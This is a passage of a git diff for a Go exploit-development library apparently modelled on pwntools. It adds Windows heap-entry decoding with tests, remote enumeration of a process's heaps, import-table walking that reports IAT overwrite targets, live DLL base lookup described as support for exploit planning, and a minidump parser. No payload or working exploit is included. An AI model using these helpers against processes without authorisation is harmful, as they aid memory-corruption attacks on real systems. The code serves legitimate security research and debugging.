:= AdjacentBusyPairs(entries) + if len(pairs) != 1 { + t.Fatalf("got %d pairs, want 1", len(pairs)) + } + if pairs[0][0].Addr != 0x1000 || pairs[0][1].Addr != 0x1020 { + t.Errorf("pair addrs = (0x%x, 0x%x)", pairs[0][0].Addr, pairs[0][1].Addr) + } +} diff --git a/heap_test.go b/heap_test.go new file mode 100644 index 0000000..9b7c07a --- /dev/null +++ b/heap_test.go @@ -0,0 +1,273 @@ +package winpwn + +import ( + "errors" + "testing" +) + +var errOutOfRange = errors.New("byteReaderAt: out of range") + +// TestDecodeHeapEntryMatchesLiveGroundTruth pins DecodeHeapEntry against +// three real _HEAP_ENTRY headers + their heap's real Encoding key, +// captured byte-for-byte from a live process (a tiny HeapAlloc(256)/ +// HeapAlloc(4)/HeapAlloc(16) probe on this machine, Windows build 10.0.26100) +// and cross-checked against WinDbg's own `!heap -a` ground-truth listing +// before being trusted -- see heap.go's top comment for the full story. +// +// This is the test that caught the real bug worth remembering: the first +// version of UserSize subtracted HeapEntrySize *again* on top of +// UnusedBytes (i.e. assumed UnusedBytes was padding *after* a separately- +// accounted-for header), which silently produced a UserSize 16 bytes +// smaller than reality for every entry. !heap -a's own "(requested size)" +// column is what caught it -- UnusedBytes already bakes the header in. +func TestDecodeHeapEntryMatchesLiveGroundTruth(t *testing.T) { + // Heap.Encoding, captured at heap+0x80 on the live probe. + encoding := [16]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1e, 0xb6, 0x56, 0xf8, 0xe5, 0xd3, 0x00, 0x00} + + cases := []struct { + name string + addr uint64 + raw [16]byte + wantSize uint16 // granularity units, cross-checked against `!heap -a`'s byte-size column / HeapEntrySize + wantFlags uint8 + wantPrevSize uint16 + wantUnused uint8 + wantUserSize uint64 // the requested size `!heap -a` printed in parens + }{ + { + // !heap -a: 00000000000d0850: 00110 . 00110 [101] - busy (100) + name: "256-byte allocation, no slack", + addr: 0xd0850, + raw: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0x0f, 0xb6, 0x57, 0xe8, 0xf4, 0xd3, 0x00, 0x10}, + wantSize: 17, // 17*0x10 = 0x110 = 272 + wantFlags: HeapEntryBusy, + wantPrevSize: 17, // previous entry (0xd0740) was also 0x110 bytes per !heap -a + wantUnused: 16, + wantUserSize: 0x100, + }, + { + // !heap -a: 00000000000d0d70: 00050 . 00020 [101] - busy (4) + name: "4-byte allocation, lots of slack", + addr: 0xd0d70, + raw: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0x1c, 0xb6, 0x57, 0xfb, 0xe0, 0xd3, 0x00, 0x1c}, + wantSize: 2, // 2*0x10 = 0x20 + wantFlags: HeapEntryBusy, + wantPrevSize: 5, // previous entry (0xd0d20) was 0x50 bytes per !heap -a + wantUnused: 28, + wantUserSize: 4, + }, + { + // !heap -a: 00000000000d0d90: 00020 . 00020 [101] - busy (10) + name: "16-byte allocation, header-only slack", + addr: 0xd0d90, + raw: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0x1c, 0xb6, 0x57, 0xfb, 0xe7, 0xd3, 0x00, 0x10}, + wantSize: 2, + wantFlags: HeapEntryBusy, + wantPrevSize: 2, // previous entry (0xd0d70) was also 0x20 bytes + wantUnused: 16, + wantUserSize: 16, + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + e := DecodeHeapEntry(c.addr, c.raw, &encoding) + if e.Size != c.wantSize { + t.Errorf("Size = %d, want %d", e.Size, c.wantSize) + } + if e.Flags != c.wantFlags { + t.Errorf("Flags = 0x%x, want 0x%x", e.Flags, c.wantFlags) + } + if e.PreviousSize != c.wantPrevSize { + t.Errorf("PreviousSize = %d, want %d", e.PreviousSize, c.wantPrevSize) + } + if e.UnusedBytes != c.wantUnused { + t.Errorf("UnusedBytes = %d, want %d", e.UnusedBytes, c.wantUnused) + } + if got := e.UserSize(); got != c.wantUserSize { + t.Errorf("UserSize() = 0x%x, want 0x%x", got, c.wantUserSize) + } + if !e.Busy() { + t.Error("Busy() = false, want true (all three live samples were busy)") + } + if e.UserData() != c.addr+HeapEntrySize { + t.Errorf("UserData() = 0x%x, want 0x%x", e.UserData(), c.addr+HeapEntrySize) + } + }) + } +} + +func TestDetectHeapKind(t *testing.T) { + ntHeap := make([]byte, 0x20) + binaryLEPutUint32(ntHeap[0x10:], heapSignatureNT) + + segHeap := make([]byte, 0x20) + binaryLEPutUint32(segHeap[0x10:], heapSignatureSegment) + + garbage := make([]byte, 0x20) + + cases := []struct { + name string + buf []byte + want HeapKind + ok bool + }{ + {"nt heap", ntHeap, HeapKindNT, true}, + {"segment heap", segHeap, HeapKindSegment, true}, + {"garbage", garbage, HeapKindUnknown, false}, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + kind, err := DetectHeapKind(newByteReaderAt(c.buf), 0) + if c.ok && err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !c.ok && err == nil { + t.Fatal("expected an error for an unrecognized signature") + } + if kind != c.want { + t.Errorf("kind = %v, want %v", kind, c.want) + } + }) + } +} + +// TestReadHeapDecodesRealCapturedFields pins ReadHeap against the actual +// field bytes captured from the same live probe heap.go's top comment and +// heap_test.go's ground-truth test describe (Flags=0x2/HEAP_GROWABLE, +// EncodeFlagMask=0x100000, Signature=0xeeffeeff -- deliberately distinct +// from _HEAP_SEGMENT's 0xffeeffee, confirmed with `db` against the live +// process rather than assumed equal). +func TestReadHeapDecodesRealCapturedFields(t *testing.T) { + buf := make([]byte, 0x300) + binaryLEPutUint32(buf[0x10:], heapSignatureNT) // _HEAP_SEGMENT.SegmentSignature + binaryLEPutUint32(buf[0x70:], 0x00000002) // Flags = HEAP_GROWABLE + binaryLEPutUint32(buf[0x7c:], 0x00100000) // EncodeFlagMask + copy(buf[0x80:0x90], []byte{0, 0, 0, 0, 0, 0, 0, 0, 0x1e, 0xb6, 0x56, 0xf8, 0xe5, 0xd3, 0x00, 0x00}) + binaryLEPutUint32(buf[0x98:], 0xeeffeeff) // _HEAP.Signature + buf[0x1a2] = FrontEndHeapNone + binaryLEPutUint64(buf[0x30:], 0x6f0000) // BaseAddress + binaryLEPutUint64(buf[0x40:], 0x6f0740) // FirstEntry + binaryLEPutUint64(buf[0x48:], 0x7ef000) // LastValidEntry + + h, err := ReadHeap(newByteReaderAt(buf), 0) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if h.Signature != 0xeeffeeff { + t.Errorf("Signature = 0x%x, want 0xeeffeeff", h.Signature) + } + if h.Flags != 0x2 { + t.Errorf("Flags = 0x%x, want 0x2", h.Flags) + } + if !h.EncodingActive() { + t.Error("EncodingActive() = false, want true (EncodeFlagMask is nonzero)") + } + if h.FrontEndHeapType != FrontEndHeapNone { + t.Errorf("FrontEndHeapType = %d, want %d", h.FrontEndHeapType, FrontEndHeapNone) + } + if h.BaseAddress != 0x6f0000 || h.FirstEntry != 0x6f0740 || h.LastValidEntry != 0x7ef000 { + t.Errorf("BaseAddress/FirstEntry/LastValidEntry = 0x%x/0x%x/0x%x", h.BaseAddress, h.FirstEntry, h.LastValidEntry) + } +} + +func TestReadHeapRejectsSegmentHeap(t *testing.T) { + buf := make([]byte, 0x20) + binaryLEPutUint32(buf[0x10:], heapSignatureSegment) + if _, err := ReadHeap(newByteReaderAt(buf), 0); err == nil { + t.Fatal("expected ReadHeap to reject a Segment Heap signature") + } +} + +func TestHeapSegmentsSingleSegmentIsEmpty(t *testing.T) { + // A heap with only the embedded Segment0: SegmentList's Flink/Blink + // both point back at the list head itself (heapOffSegmentList), the + // standard "empty list" LIST_ENTRY representation. + buf := make([]byte, 0x200) + headAddr := uint64(heapOffSegmentList) + binaryLEPutUint64(buf[heapOffSegmentList:], headAddr) + binaryLEPutUint64(buf[heapOffSegmentList+8:], headAddr) + + h := &Heap{Addr: 0} + segs, err := h.Segments(newByteReaderAt(buf)) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(segs) != 0 { + t.Errorf("got %d segments, want 0 for an empty SegmentList", len(segs)) + } +} + +func TestWalkSegmentEntriesStopsAtLastEntry(t *testing.T) { + // Three unencoded entries (no Encoding key, EncodeFlagMask=0 case): + // 32 bytes busy, 16 bytes free, 16 bytes busy+LastEntry. + buf := make([]byte, 64) + putEntry := func(off int, size uint16, flags uint8, prevSize uint16) { + buf[off+8] = byte(size) + buf[off+9] = byte(size >> 8) + buf[off+10] = flags + buf[off+12] = byte(prevSize) + buf[off+13] = byte(prevSize >> 8) + } + putEntry(0, 2, HeapEntryBusy, 0) + putEntry(32, 1, 0, 2) + putEntry(48, 1, HeapEntryBusy|HeapEntryLastEntry, 1) + + entries, err := WalkSegmentEntries(newByteReaderAt(buf), 0, 64, nil) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(entries) != 3 { + t.Fatalf("got %d entries, want 3", len(entries)) + } + if entries[0].Addr != 0 || entries[0].BlockSize() != 32 || !entries[0].Busy() { + t.Errorf("entry 0 = %+v", entries[0]) + } + if entries[1].Addr != 32 || entries[1].BlockSize() != 16 || entries[1].Busy() { + t.Errorf("entry 1 = %+v", entries[1]) + } + if entries[2].Addr != 48 || !entries[2].LastEntry() { + t.Errorf("entry 2 = %+v", entries[2]) + } +} + +func TestWalkSegmentEntriesZeroSizeIsAnError(t *testing.T) { + buf := make([]byte, 32) // entry at 0 decodes to Size=0 -- can't make progress + _, err := WalkSegmentEntries(newByteReaderAt(buf), 0, 32, nil) + if err == nil { + t.Fatal("expected an error for a zero-size entry") + } +} + +// byteReaderAt adapts a plain []byte to io.ReaderAt for synthetic tests, +// the same role buildSyntheticMinidump's bytes.Reader plays in +// minidump_test.go. +type byteReaderAt struct{ buf []byte } + +func newByteReaderAt(buf []byte) *byteReaderAt { return &byteReaderAt{buf: buf} } + +func (b *byteReaderAt) ReadAt(p []byte, off int64) (int, error) { + if off < 0 || int(off) > len(b.buf) { + return 0, errOutOfRange + } + n := copy(p, b.buf[off:]) + if n < len(p) { + return n, errOutOfRange + } + return n, nil +} + +func binaryLEPutUint32(b []byte, v uint32) { + b[0] = byte(v) + b[1] = byte(v >> 8) + b[2] = byte(v >> 16) + b[3] = byte(v >> 24) +} + +func binaryLEPutUint64(b []byte, v uint64) { + for i := 0; i < 8; i++ { + b[i] = byte(v >> (8 * i)) + } +} diff --git a/heap_windows.go b/heap_windows.go new file mode 100644 index 0000000..fc7e34a --- /dev/null +++ b/heap_windows.go @@ -0,0 +1,68 @@ +//go:build windows + +package winpwn + +import ( + "fmt" + "unsafe" + + "golang.org/x/sys/windows" +) + +// Offsets within ntdll's x64 _PEB, confirmed via `dt ntdll!_PEB` the same +// way heap.go's _HEAP offsets were -- see heap.go's top comment. +const ( + pebOffNumberOfHeaps = 0x0e8 + pebOffProcessHeaps = 0x0f0 // PVOID*, an array of NumberOfHeaps heap addresses +) + +// ListProcessHeaps enumerates every heap that exists in pid's address +// space by walking PEB.ProcessHeaps from outside the process -- the exact +// same array GetProcessHeaps() reads from inside one, just reached via +// ReadProcessMemory the way ResolveModuleBase (procmem_windows.go) reads +// PEB.Ldr for the loaded-module list instead of needing a leak. The +// default process heap (PEB.ProcessHeap) is always included, since +// HeapCreate registers every heap -- including the default one ntdll +// creates before main() even runs -- into this same array. +// +// This is the natural companion to DetectHeapKind/ReadHeap: once you have +// a PID and nothing else, ListProcessHeaps is how you find an address +// worth handing to either of them, instead of needing a leaked heap handle +// from the target's own output first. +func ListProcessHeaps(pid uint32) ([]uint64, error) { + mem, err := OpenProcessMemory(pid, 0) + if err != nil { + return nil, err + } + defer mem.Close() + + var pbi windows.PROCESS_BASIC_INFORMATION + var retLen uint32 + if err := windows.NtQueryInformationProcess(mem.Handle, windows.ProcessBasicInformation, + unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), &retLen); err != nil { + return nil, fmt.Errorf("NtQueryInformationProcess(ProcessBasicInformation): %w", err) + } + pebAddr := uint64(uintptr(unsafe.Pointer(pbi.PebBaseAddress))) + if pebAddr == 0 { + return nil, fmt.Errorf("PEB address for pid %d is null", pid) + } + + numHeaps, err := readUint32AtValue(mem, int64(pebAddr)+pebOffNumberOfHeaps) + if err != nil { + return nil, fmt.Errorf("reading PEB.NumberOfHeaps: %w", err) + } + arrayAddr, err := readUint64At(mem, int64(pebAddr)+pebOffProcessHeaps) + if err != nil { + return nil, fmt.Errorf("reading PEB.ProcessHeaps: %w", err) + } + + heaps := make([]uint64, 0, numHeaps) + for i := uint32(0); i < numHeaps; i++ { + addr, err := readUint64At(mem, int64(arrayAddr)+int64(i)*8) + if err != nil { + return heaps, fmt.Errorf("reading ProcessHeaps[%d] (of %d): %w", i, numHeaps, err) + } + heaps = append(heaps, addr) + } + return heaps, nil +} diff --git a/imported_libs_other.go b/imported_libs_other.go new file mode 100644 index 0000000..e9b36e1 --- /dev/null +++ b/imported_libs_other.go @@ -0,0 +1,9 @@ +//go:build !windows + +package winpwn + +// ImportedLibs requires GOOS=windows: resolving a live image base means +// actually loading the DLL (LoadLibrary), which only exists on Windows. +func (p *PEFile) ImportedLibs() ([]ImportedLib, error) { + return nil, errWindowsOnly +} diff --git a/imported_libs_windows.go b/imported_libs_windows.go new file mode 100644 index 0000000..82745ad --- /dev/null +++ b/imported_libs_windows.go @@ -0,0 +1,47 @@ +//go:build windows + +package winpwn + +import ( + "strings" + + "golang.org/x/sys/windows" +) + +// ImportedLibs returns the distinct DLLs listed in this PE's import table, +// each loaded into the current process (via LoadLibrary -- already-loaded +// system DLLs just hand back their existing mapping and a bumped refcount, +// which is immediately released again) to report its current live image +// base. +// +// This is useful on Windows specifically because a system DLL's base is +// randomized once per boot, not once per process: every process on the +// machine sees kernel32.dll/ntdll.dll/etc. at the same address until the +// next reboot. So the base reported here is a real, reusable value for +// planning an exploit against this machine -- not a property of some +// already-running target you'd otherwise have to leak from first. +func (p *PEFile) ImportedLibs() ([]ImportedLib, error) { + imports, err := p.ListImports() + if err != nil { + return nil, err + } + + seen := make(map[string]bool, len(imports)) + var out []ImportedLib + for _, im := range imports { + key := strings.ToLower(im.DLL) + if im.DLL == "" || seen[key] { + continue + } + seen[key] = true + + h, err := windows.LoadLibrary(im.DLL) + if err != nil { + out = append(out, ImportedLib{Name: im.DLL, Err: err}) + continue + } + out = append(out, ImportedLib{Name: im.DLL, Base: uint64(h)}) + windows.FreeLibrary(h) + } + return out, nil +} diff --git a/imports.go b/imports.go new file mode 100644 index 0000000..a9c5ed4 --- /dev/null +++ b/imports.go @@ -0,0 +1,164 @@ +package winpwn + +import ( + "errors" +) + +// Import describes one entry of a PE's Import Address Table (IAT), the +// analogue of pwntools reading a binary's .got/.dynsym to find which libc +// functions it pulls in. +type Import struct { + DLL string + // Name is empty when the function is imported by ordinal only. + Name string + Ordinal uint16 + // IATRVA is the RVA of this import's slot in the IAT -- the address the + // loader overwrites with the real function pointer at load time, and + // the address you'd target if you wanted to overwrite the import to + // redirect a call. + IATRVA uint32 +} + +// ImportedLib describes one DLL a PE imports, plus that DLL's current live +// image base in this process (see (*PEFile).ImportedLibs). +type ImportedLib struct { + Name string + // Base is 0 if Err is set (the library failed to load in this process). + Base uint64 + Err error +} + +const importOrdinalFlag64 = uint64(1) << 63 +const importOrdinalFlag32 = uint32(1) << 31 + +// importDescriptor mirrors winnt.h's IMAGE_IMPORT_DESCRIPTOR. +type importDescriptor struct { + OriginalFirstThunk uint32 + TimeDateStamp uint32 + ForwarderChain uint32 + Name uint32 + FirstThunk uint32 +} + +// ListImports walks the full Import Directory Table (IDT) and each DLL's +// thunk array, resolving every imported name/ordinal and its IAT slot +// address. The analogue of pwntools poking at a binary's dynamic symbol +// table to see what it links against. +func (p *PEFile) ListImports() ([]Import, error) { + h, err := p.header() + if err != nil { + return nil, err + } + + dir := h.dataDirectory[1] + if dir.VirtualAddress == 0 { + return nil, errors.New("import table not found") + } + descOffset := p.RVAToFileOffset(dir.VirtualAddress) + if descOffset == 0 { + return nil, errors.New("failed to map import directory RVA to file offset") + } + + var imports []Import + for i := 0; ; i++ { + var desc importDescriptor + if err := p.readStructAt(descOffset+int64(i*20), &desc); err != nil { + return nil, err + } + if desc.OriginalFirstThunk == 0 && desc.Name == 0 && desc.FirstThunk == 0 { + break // null terminator descriptor + } + + dllName, err := p.readCString(p.RVAToFileOffset(desc.Name)) + if err != nil { + return nil, err + } + + thunkRVA := desc.OriginalFirstThunk + if thunkRVA == 0 { + thunkRVA = desc.FirstThunk // some linkers omit the ILT entirely + } + + entries, err := p.walkThunks(h.is64, thunkRVA, desc.FirstThunk) + if err != nil { + return nil, err + } + for i := range entries { + entries[i].DLL = dllName + } + imports = append(imports, entries...) + } + + return imports, nil +} + +func (p *PEFile) walkThunks(is64 bool, thunkRVA uint32, iatRVA uint32) ([]Import, error) { + var out []Import + thunkSize := uint32(4) + if is64 { + thunkSize = 8 + } + + for j := uint32(0); ; j++ { + thunkOffset := p.RVAToFileOffset(thunkRVA + j*thunkSize) + + var imp Import + imp.IATRVA = iatRVA + j*thunkSize + + if is64 { + var thunk uint64 + if err := p.readStructAt(thunkOffset, &thunk); err != nil { + return nil, err + } + if thunk == 0 { + break + } + if thunk&importOrdinalFlag64 != 0 { + imp.Ordinal = uint16(thunk & 0xFFFF) + } else { + name, err := p.readCString(p.RVAToFileOffset(uint32(thunk)) + 2) // skip Hint WORD + if err != nil { + return nil, err + } + imp.Name = name + } + } else { + var thunk uint32 + if err := p.readStructAt(thunkOffset, &thunk); err != nil { + return nil, err + } + if thunk == 0 { + break + } + if thunk&importOrdinalFlag32 != 0 { + imp.Ordinal = uint16(thunk & 0xFFFF) + } else { + name, err := p.readCString(p.RVAToFileOffset(thunk) + 2) + if err != nil { + return nil, err + } + imp.Name = name + } + } + + out = append(out, imp) + } + + return out, nil +} + +// FindImport looks for a specific imported function by name across every +// imported DLL -- the quick "does this binary already pull in +// VirtualProtect/LoadLibraryA/GetProcAddress" check. +func (p *PEFile) FindImport(funcName string) (*Import, error) { + imports, err := p.ListImports() + if err != nil { + return nil, err + } + for i := range imports { + if imports[i].Name == funcName { + return &imports[i], nil + } + } + return nil, errors.New("import not found: " + funcName) +} diff --git a/log.go b/log.go new file mode 100644 index 0000000..1e7cdb1 --- /dev/null +++ b/log.go @@ -0,0 +1,36 @@ +package winpwn + +import ( + "fmt" + "os" + "time" +) + +// Info/Success/Warn/Error are winpwn's leveled logger, the analogue of +// pwntools' log.info/log.success/log.warn/log.error. All four write to +// stderr (so they never interleave with a tube's own stdout traffic) and +// are gated by Context.LogLevel -- set Context.LogLevel = LogLevelSilent to +// quiet a script down for scripted/CI use. +func Info(format string, args ...any) { + logAt(LogLevelInfo, "[*]", format, args...) +} + +func Success(format string, args ...any) { + logAt(LogLevelInfo, "[+]", format, args...) +} + +func Warn(format string, args ...any) { + logAt(LogLevelWarn, "[!]", format, args...) +} + +func Error(format string, args ...any) { + logAt(LogLevelError, "[-]", format, args...) +} + +func logAt(level LogLevel, prefix, format string, args ...any) { + if level < Context.LogLevel { + return + } + msg := fmt.Sprintf(format, args...) + fmt.Fprintf(os.Stderr, "%s %s %s\n", time.Now().Format("15:04:05"), prefix, msg) +} diff --git a/minidump.go b/minidump.go new file mode 100644 index 0000000..2319fa8 --- /dev/null +++ b/minidump.go @@ -0,0 +1,312 @@ +package winpwn + +import ( + "bytes" + "encoding/binary" + "errors" + "fmt" + "io" + "os" + "unicode/utf16" +) + +// minidumpSignature is MINIDUMP_HEADER.Signature ('MDMP' read as a +// little-endian ULONG32), the magic number every .dmp file starts with. +const minidumpSignature = 0x504D444D + +// MinidumpStreamType mirrors winnt.h's MINIDUMP_STREAM_TYPE. Only the +// values this package decodes natively are named here; RawStream accepts +// any numeric stream type for everything else (SystemInfoStream, +// ThreadListStream, Memory64ListStream, ...), the same way dbghelp's +// MiniDumpReadDumpStream takes an arbitrary stream number. +type MinidumpStreamType uint32 + +const ( + StreamThreadList MinidumpStreamType = 3 + StreamModuleList MinidumpStreamType = 4 + StreamMemoryList MinidumpStreamType = 5 + StreamException MinidumpStreamType = 6 + StreamSystemInfo MinidumpStreamType = 7 + StreamMemory64List MinidumpStreamType = 9 +) + +// minidumpHeader mirrors MINIDUMP_HEADER (winnt.h), 32 bytes, no padding: +// every field here is naturally aligned at its own offset already. +type minidumpHeader struct { + Signature uint32 + Version uint32 + NumberOfStreams uint32 + StreamDirectoryRva uint32 + CheckSum uint32 + TimeDateStamp uint32 + Flags uint64 +} + +// minidumpLocationDescriptor mirrors MINIDUMP_LOCATION_DESCRIPTOR: despite +// the name this Rva is a plain file offset, not an RVA relative to a +// loaded image -- a minidump is never "loaded", it's just read. +type minidumpLocationDescriptor struct { + DataSize uint32 + Rva uint32 +} + +// minidumpDirectory mirrors MINIDUMP_DIRECTORY, 12 bytes. +type minidumpDirectory struct { + StreamType uint32 + Location minidumpLocationDescriptor +} + +// Minidump is a read-only handle on a Windows .dmp file, parsed directly +// from the public MINIDUMP_* structures (winnt.h) instead of calling +// dbghelp.dll's MiniDumpReadDumpStream. Same spirit as the rest of this +// package's PE/ROP parsing (see pe.go, gadgets.go, and the "reimplemented +// directly from the spec instead" note on checksec in the README): the +// format is just bytes with a documented, stable layout, and parsing it +// directly means this works without GOOS=windows or dbghelp.dll present, +// and is unit-testable against a synthetic in-memory buffer instead of +// needing a real crash dump on disk. +type Minidump struct { + r io.ReaderAt + closer io.Closer + header minidumpHeader + streams []minidumpDirectory +} + +// OpenMinidump opens and parses a .dmp file's header and stream directory. +func OpenMinidump(path string) (*Minidump, error) { + f, err := os.Open(path) + if err != nil { + return nil, err + } + m, err := newMinidump(f) + if err != nil { + f.Close() + return nil, err + } + m.closer = f + return m, nil +} + +// newMinidump parses from any io.ReaderAt (a file, or an in-memory +// bytes.Reader for tests/already-loaded buffers) -- OpenMinidump is just +// this plus a file open/close. +func newMinidump(r io.ReaderAt) (*Minidump, error) { + m := &Minidump{r: r} + + if err := readStructAt(r, 0, &m.header); err != nil { + return nil, fmt.Errorf("read MINIDUMP_HEADER: %w", err) + } + if m.header.Signature != minidumpSignature { + return nil, fmt.Errorf("not a minidump file (signature 0x%X, want 0x%X)", m.header.Signature, minidumpSignature) + } + + m.streams = make([]minidumpDirectory, m.header.NumberOfStreams) + for i := range m.streams { + const sizeofDirectory = 12 + off := int64(m.header.StreamDirectoryRva) + int64(i)*sizeofDirectory + if err := readStructAt(r, off, &m.streams[i]); err != nil { + return nil, fmt.Errorf("read MINIDUMP_DIRECTORY[%d]: %w", i, err) + } + } + return m, nil +} + +func (m *Minidump) Close() error { + if m.closer != nil { + return m.closer.Close() + } + return nil +} + +func (m *Minidump) findStream(t MinidumpStreamType) (minidumpDirectory, bool) { + for _, d := range m.streams { + if d.StreamType == uint32(t) { + return d, true + } + } + return minidumpDirectory{}, false +} + +// RawStream returns the raw bytes of the first stream of type t -- the +// direct analogue of MiniDumpReadDumpStream for any stream this package +// doesn't decode natively (SystemInfoStream, ThreadListStream, +// Memory64ListStream, ...). The caller is responsible for knowing that +// stream's layout. +func (m *Minidump) RawStream(t MinidumpStreamType) ([]byte, error) { + dir, ok := m.findStream(t) + if !ok { + return nil, fmt.Errorf("stream type %d not present in this minidump", t) + } + buf := make([]byte, dir.Location.DataSize) + if _, err := m.r.ReadAt(buf, int64(dir.Location.Rva)); err != nil { + return nil, err + } + return buf, nil +} + +// MinidumpModule is one entry of MINIDUMP_MODULE_LIST: a loaded module's +// name and the base address it was loaded at -- exactly what you need to +// rebase a crash address back into the binary you can actually open in a +// disassembler. +type MinidumpModule struct { + Name string + BaseOfImage uint64 + SizeOfImage uint32 + TimeDateStamp uint32 +} + +// sizeofMinidumpModule is sizeof(MINIDUMP_MODULE): BaseOfImage(8) + +// SizeOfImage(4) + CheckSum(4) + TimeDateStamp(4) + ModuleNameRva(4) + +// VS_FIXEDFILEINFO(52) + CvRecord(8) + MiscRecord(8) + Reserved0(8) + +// Reserved1(8) = 108. Decoded by fixed offset below rather than a matching +// Go struct, since only a handful of its fields are useful here and +// VS_FIXEDFILEINFO's 13 DWORDs aren't worth modeling just to skip over. +const sizeofMinidumpModule = 108 + +// Modules walks MINIDUMP_MODULE_LIST and resolves each module's name +// string, the analogue of pwntools' Corefile module list but for a Windows +// crash dump. +func (m *Minidump) Modules() ([]MinidumpModule, error) { + dir, ok := m.findStream(StreamModuleList) + if !ok { + return nil, errors.New("ModuleListStream not present in this minidump") + } + + var count uint32 + if err := readUint32At(m.r, int64(dir.Location.Rva), &count); err != nil { + return nil, fmt.Errorf("read MINIDUMP_MODULE_LIST.NumberOfModules: %w", err) + } + + base := int64(dir.Location.Rva) + 4 + out := make([]MinidumpModule, 0, count) + for i := uint32(0); i < count; i++ { + buf := make([]byte, sizeofMinidumpModule) + if _, err := m.r.ReadAt(buf, base+int64(i)*sizeofMinidumpModule); err != nil { + return nil, fmt.Errorf("read MINIDUMP_MODULE[%d]: %w", i, err) + } + + nameRva := binary.LittleEndian.Uint32(buf[20:24]) + name, err := m.readMinidumpString(nameRva) + if err != nil { + return nil, fmt.Errorf("read module name for MINIDUMP_MODULE[%d]: %w", i, err) + } + + out = append(out, MinidumpModule{ + Name: name, + BaseOfImage: binary.LittleEndian.Uint64(buf[0:8]), + SizeOfImage: binary.LittleEndian.Uint32(buf[8:12]), + TimeDateStamp: binary.LittleEndian.Uint32(buf[16:20]), + }) + } + return out, nil +} + +// readMinidumpString reads a MINIDUMP_STRING at the given offset: a +// ULONG32 byte length (excluding the length field and the terminator) +// followed by a UTF-16LE buffer. +func (m *Minidump) readMinidumpString(offset uint32) (string, error) { + var length uint32 + if err := readUint32At(m.r, int64(offset), &length); err != nil { + return "", err + } + buf := make([]byte, length) + if _, err := m.r.ReadAt(buf, int64(offset)+4); err != nil { + return "", err + } + units := make([]uint16, length/2) + for i := range units { + units[i] = binary.LittleEndian.Uint16(buf[i*2:]) + } + return string(utf16.Decode(units)), nil +} + +// exceptionMaxParameters is EXCEPTION_MAXIMUM_PARAMETERS (winnt.h): the +// fixed size of MINIDUMP_EXCEPTION.ExceptionInformation. +const exceptionMaxParameters = 15 + +// MinidumpException is MINIDUMP_EXCEPTION_STREAM flattened to the fields a +// crash-triage script actually wants: which thread, what kind of fault +// (ExceptionCode -- e.g. 0xC0000005 for an access violation, the same +// value Tube.Interactive already reports for a locally observed crash), +// and where. +type MinidumpException struct { + ThreadID uint32 + ExceptionCode uint32 + ExceptionFlags uint32 + ExceptionAddress uint64 + // Parameters holds the first NumberParameters entries of + // ExceptionInformation -- e.g. for an access violation, Parameters[0] + // is the access type (read/write/execute) and Parameters[1] is the + // faulting address. + Parameters []uint64 +} + +// sizeofMinidumpExceptionStream is sizeof(MINIDUMP_EXCEPTION_STREAM): +// ThreadId(4) + alignment(4) + MINIDUMP_EXCEPTION(152) + +// ThreadContext location descriptor(8) = 168. +const sizeofMinidumpExceptionStream = 168 + +// Exception decodes MINIDUMP_EXCEPTION_STREAM, if present (a minidump +// taken from a still-running, non-crashed process has no exception +// stream). The register context blob referenced by +// MINIDUMP_EXCEPTION_STREAM.ThreadContext is not decoded here -- CONTEXT's +// layout differs by architecture and has internal padding/XSAVE-area +// subtleties not worth getting wrong; use RawStream(StreamException) and +// slice past sizeofMinidumpExceptionStream's ThreadContext location if you +// need the raw register bytes for a specific architecture. +func (m *Minidump) Exception() (*MinidumpException, error) { + dir, ok := m.findStream(StreamException) + if !ok { + return nil, errors.New("ExceptionStream not present in this minidump (the process may not have crashed)") + } + + buf := make([]byte, sizeofMinidumpExceptionStream) + if _, err := m.r.ReadAt(buf, int64(dir.Location.Rva)); err != nil { + return nil, fmt.Errorf("read MINIDUMP_EXCEPTION_STREAM: %w", err) + } + + threadID := binary.LittleEndian.Uint32(buf[0:4]) + // MINIDUMP_EXCEPTION starts right after ThreadId + a 4-byte alignment pad. + exc := buf[8:] + numParams := binary.LittleEndian.Uint32(exc[24:28]) + if numParams > exceptionMaxParameters { + numParams = exceptionMaxParameters + } + params := make([]uint64, numParams) + for i := range params { + params[i] = binary.LittleEndian.Uint64(exc[32+i*8:]) + } + + return &MinidumpException{ + ThreadID: threadID, + ExceptionCode: binary.LittleEndian.Uint32(exc[0:4]), + ExceptionFlags: binary.LittleEndian.Uint32(exc[4:8]), + ExceptionAddress: binary.LittleEndian.Uint64(exc[16:24]), + Parameters: params, + }, nil +} + +// readStructAt fills v (a pointer to a fixed-size struct of fixed-width +// fields) by reading binary.Size(v) bytes at offset -- the minidump.go +// analogue of PEFile.readStructAt in pe.go, kept separate since Minidump +// isn't a PEFile and has no reason to share its receiver. +func readStructAt(r io.ReaderAt, offset int64, v any) error { + size := binary.Size(v) + if size < 0 { + return errors.New("readStructAt: unsupported type") + } + buf := make([]byte, size) + if _, err := r.ReadAt(buf, offset); err != nil { + return err + } + return binary.Read(bytes.NewReader(buf), binary.LittleEndian, v) +} + +func readUint32At(r io.ReaderAt, offset int64, out *uint32) error { + var buf [4]byte + if _, err := r.ReadAt(buf[:], offset); err != nil { + return err + } + *out = binary.LittleEndian.Uint32(buf[:]) + return nil +} diff --git a/minidump_test.go b/minidump_test.go new file mode 100644 index 0000000..298f12b --- /dev/null +++ b/minidump_test.go @@ -0,0 +1,159 @@ +package winpwn + +import ( + "bytes" + "encoding/binary" + "testing" + "unicode/utf16" +) + +// buildSyntheticMinidump assembles a minimal but structurally real +// MINIDUMP_HEADER + MINIDUMP_DIRECTORY[2] + ModuleListStream (one module) +// + ExceptionStream, laid out at arbitrary offsets the directory points to +// (deliberately not in stream order, to exercise the Rva indirection +// rather than relying on everything being contiguous). This is the payoff +// of parsing the format natively instead of via dbghelp.dll: a synthetic +// fixture like this lets the parser be tested without a real crash dump. +func buildSyntheticMinidump(t *testing.T) 